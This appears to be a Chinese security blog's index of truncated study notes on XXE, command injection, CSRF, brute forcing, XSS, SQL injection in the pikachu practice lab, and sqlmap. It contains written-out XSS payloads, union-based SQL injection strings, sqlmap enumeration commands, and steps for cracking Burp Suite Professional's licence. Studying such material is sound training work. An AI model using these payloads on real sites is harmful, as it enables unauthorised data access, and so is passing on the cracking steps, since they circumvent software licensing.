正则表达式学习
语法普通字符介绍:普通字符包括没有显式指定为元字符的所有可打印和不可打印字符。这包括所有大写和小写字母、所有数字、所有标点符号和一些其他符号。 1234567891011121314151617[ABC]匹配[]内的所有字符,这里匹配ABC[^ABC]匹配除了[]内的所有字符,这里匹配除了ABC之外的所有字符[A-Z]这里A-Z代表一个区间,表示匹配A-Z的所有字符[\s\S]表示匹配所有,其中\s匹配空白和换行;\S匹配除了空白和换行其余的字符\w匹配所有的字母,数字和下划线,等价于[A-Za-z0-9_]\d匹配所有数字,等价于[0-9] 非打印字符介绍:非打印字符也可以是正则表达式的组成部分,在正则表达式中,非打印字符是指那些在文本中不产生视觉效果的字符,比如空格、换行符、制表符等。 1234567891011121314151617181920212223\cx 匹配由x指明的控制字符。例如,\cM匹配一个Control-M或回车符。x的值必须为A-Z或a-z之一。否则,将c视为一个原义的'c'字符。\f 匹配一个换页符。等价于\x0c和\cL。\n 匹配 ...
XXE(XML外部实体注入)相关学习
简介12##XML介绍XML(Extensible Markup Language)是一种类似于 [HTML](https://developer.mozilla.org/zh-CN/docs/Glossary/HTML),但是没有使用预定义标记的语言。因此,可以根据自己的设计需求定义专属的标记。这是一种强大将数据存储在一个可以存储、搜索和共享的格式中的方法。最重要的是,因为 XML 的基本格式是标准化的,如果你在本地或互联网上跨系统或平台共享或传输 XML,由于标准化的 XML 语法,接收者仍然可以解析数据。 XML外部实体注入简称XXE漏洞,是一种针对应用程序处理XML数据的方式的攻击。在这种攻击中,攻击者利用应用程序对XML输入的处理不当,引入或“注入”恶意内容。这可能导致未授权的数据访问、服务拒绝攻击甚至执行远程代码。 XXE漏洞攻击如果服务端处理XML的代码中没有限制XML引入外部实体,那么创建一个包含外部实体的XML时,外部实体的内容就会被执行。 1采用XML格式时,报文中的mime会带有XML类型
命令注入与文件上传相关学习
命令注入一些概念补充服务器概念补充服务器是安装了某项服务的机器,不仅可以供本机使用也可以使外部机器使用。 简单来说就是每台机器上装载了类似于mysql数据库之类的东西,然后通过类似映射的手段来使该服务在其他的机器上也可以使用。 那么在找寻某项服务是,就需要搜索ip(该主机地址)+端口号(锁定某项服务,例如ssh服务端口。) ip概念补充 123456789公网和局域网是计算机网络中两个不同的概念。公网(Internet)是指全球范围内互联的计算机网络,它由各种全球性和区域性网络互相连接而成。公网通过广域网(WAN)技术实现,可以覆盖整个地球,并提供各种服务,如电子邮件、网页浏览、文件传输等。公网是开放的,任何拥有合法权限的用户都可以访问。局域网(LAN)是指在一个相对较小的地理范围内的计算机网络,通常限制在某个建筑物、办公室、校园或家庭内部。局域网通过局域网技术实现,一般使用以太网或Wi-Fi无线网络进行连接。局域网主要用于内部资源共享、打印机共享、文件传输和内部通信等。局域网通常由路由器或交换机连接到公网,以便局域网中的计算机可以访问公网上的资源。公网和局域网之间的联系主要是通过路 ...
CSRF漏洞相关学习
简介CSRF(Cross-Site Request Forgery,跨站请求伪造),特通过伪装成网站内收信任的用户请求受信任的网站,他和xss漏洞不一样,xss漏洞是通过攻击站点内的信任用户,因为csrf相对于xss没有那么流行,所以防范资源也相对稀少,所以被认为csrf相比xss的危险性更大。 原理攻击者预测出了url的重要参数值,以此来伪造一个url请求 1234567891011##受攻击流程user1使用账号密码访问网站A网站A接受账号密码后在user1浏览器中存储了sessionID网站在没有退出网站A时新建一个页面访问了网站B网站B自动触发访问网站A(有指向链接指向网站A)此时user1是带着sessionID访问网站A的此时网站A只需检验sessionIlD是否合法,合法则执行相应的操作。(因此具体啥工具就得看链接,以及网站B要求访问时携带的数据)##示例当你想再A网站给某个用户转账100元,那么单击"转账"按钮后,发出的http请求大概是"pay.php?user=xx&money=100"类似,此时攻击者在B网站构造 ...
burpsuite使用
BurpSuite专业版激活流程1.启动burpsuite 2.打开破解工具 3.将破解工具的参数传入burpsuite 4.获取破解密文 5.创建桌面快捷方式 右键属性==》新建快捷方式==》拖至桌面==》更改名称图标 BurpSuite使用介绍批注:burpsuite作为一个代理,夹在网站客户端与网站服务器之间,是起到一个欺骗客户端浏览器,使其认为自己是网站服务器,以此来实现代理修改数据的作用。 Proxy(抓包代理) 代理区,burpsuite的主要功能点,在浏览器与服务器的交流中加了一层代理。 相比于浏览器自带的代理工具,burpsuite可以实现对数据包进行修改。 需要注意的是,在代理期间,数据包是不会被发送的。 intercept intercept is off:拦截数据包,要注意burpsuite会抓取所有的数据包 open brower:打开burpsuite自带的可以开启代理的浏览器 Forward:放行数据包 Drop:丢包,数据包不再发送 HTTP h ...
爆破与并发相关学习
爆力破解简介暴力破解漏洞产生是由于服务器没有做限制,导致攻击者可以通过枚举的方法破解所需的信息,如用户名,密码,短信验证码等。其关键在于枚举的大小字典是否具有针对性,如登录时需要输入四位数验证码范围就是0000~9999 流程下面以pikachu靶场为例,随便输个账号密码,抓个包发送到intruder,给账号密码添加变量准备爆破。 选择模式为集束炸弹(Cluster bomb,模式选择详见前一篇文章),添加字典开始爆破 之后开始爆破,观察结果中的Render,如果返回结果是login success,说明爆破成功,同时我们发现返回包的长度,成功的返回包和失败的返回包length不一样 验证码绕过并发漏洞简介并发漏洞是指在并发执行环境下出现的编程错误或设计缺陷,这些缺陷可能导致程序行为不符合预期,甚至可能引发安全问题。并发编程通常涉及多个线程或进程同时执行,若不妥善管理这些并发操作,可能会出现各种问题。环境准备:burpsuite插件Turbo intruder 常见场景:漏洞出现在限制执行某个操作次数的地方。比如在网店多次使用相同的折扣代码 多次兑换礼品卡 多次对 ...
http协议学习
资源和URL资源HTTP 请求的内容通称为“资源”。”资源“这一概念非常宽泛,它可以是一份文档,一张图片,或所有其他你能够想到的格式。每个资源都由一个 URI 来进行标识,例如下面的url其实是一张图片 1https://pic.imge.cc/2024/08/11/66b8b34a1deb8.jpg URL与URNURL网址即URL(统一资源定位符),也就是web地址,例如下面就是一个URL 1https://ourobros.top URL 由多个必须或可选的组件构成。下面给出了一个复杂的 URL 1https://ourobros.top/xss%E6%BC%8F%E6%B4%9E%E7%9B%B8%E5%85%B3%E5%AD%A6%E4%B9%A0/ 1234URL标准语法:协议://主机:端口/路径?参数1=值1&参数2=值2#片段标识符##例如:(来自developer.mozilla.org)http://www.example.com:80/path/to/myfile.html?key1=value1&key2=value2#Somewhere ...
xss漏洞相关学习
介绍XSS全称:跨站脚本(Cross Site Scripting) ,又称跨站脚本攻击,是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种,服务器对用户提交的数据过滤不严,导致浏览器把用户的输入当成了JS代码并直接返回给客户端执行,从而实现对客户端的攻击目的。 xss漏洞分为三种:反射型,存储型和DOM型 相关知识准备测试语句以下所有标签的 > 都可以用 // 代替, 例如 1<script>alert(1)</script// 1234567891011121314151617181920212223##<script>标签<script>alert("hack")</script> #弹出hack<script>alert(/hack/)</script> #弹出hack<script>alert(1)</script> #弹出1,对于数字可以不用引号<script>alert(docume ...
pikachu靶场-sql注入
[!NOTE] 快就是慢,少就是多 数字型注入来到第一关,查询1,发现以下内容,抓个包,发现id参数在报文结尾,尝试注入 输入id=1’,id=1”都报错,初步确定为数字型注入,输入以下内容查看返回结果 12id=1 and 1=1--+id=1 and 1=2--+ 结果不同,确定为数字型注入,开始确定字段行数,最终确定行数为2 1id=1 order by 3--+ 开始尝试注入,确定位置为姓名为1,email为2. 1id=-1 union select 1,2--+ 获取当前数据库版本 1id=-1 union select 1,version()--+ 获取当前用户名 1id=-1 union select 1,user()--+ 获取当前库名 1id=-1 union select 1,database()--+ 获取其他库名 12id=-1 union select 1,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA--+ ...
sqlmap工具使用
sqlmap工具使用sqlmap 是一款开源的渗透测试工具,可以自动化进行SQL注入的检测、利用,并能接管数据库服务器。它具有功能强大的检测引擎,为渗透测试人员提供了许多专业的功能并且可以进行组合,其中包括数据库指纹识别、数据读取和访问底层文件系统,甚至可以通过带外数据连接的方式执行系统命令。 判断是否存在注入1234sqlmap.py -u http://example.com/sqli/?id=1#当注入点后边的参数大于或者等于两个时,需要加双引号sqlmap.py -u "http://example.com/sqli/?id=1&uid=2" 判断文本中的请求是否存在注入sqlmao可以从一个文本文件中获取http请求,这样就不用设置其他参数(cookie,post,renfer等),txt文件内容为web数据包,所以需要和bp联动 1sqlmap.py -r 1.txt 查询当前用户下的所有数据库123#加上--dbssqlmap.py -u "http://example.com/sqli/?id=1" --dbssqlm ...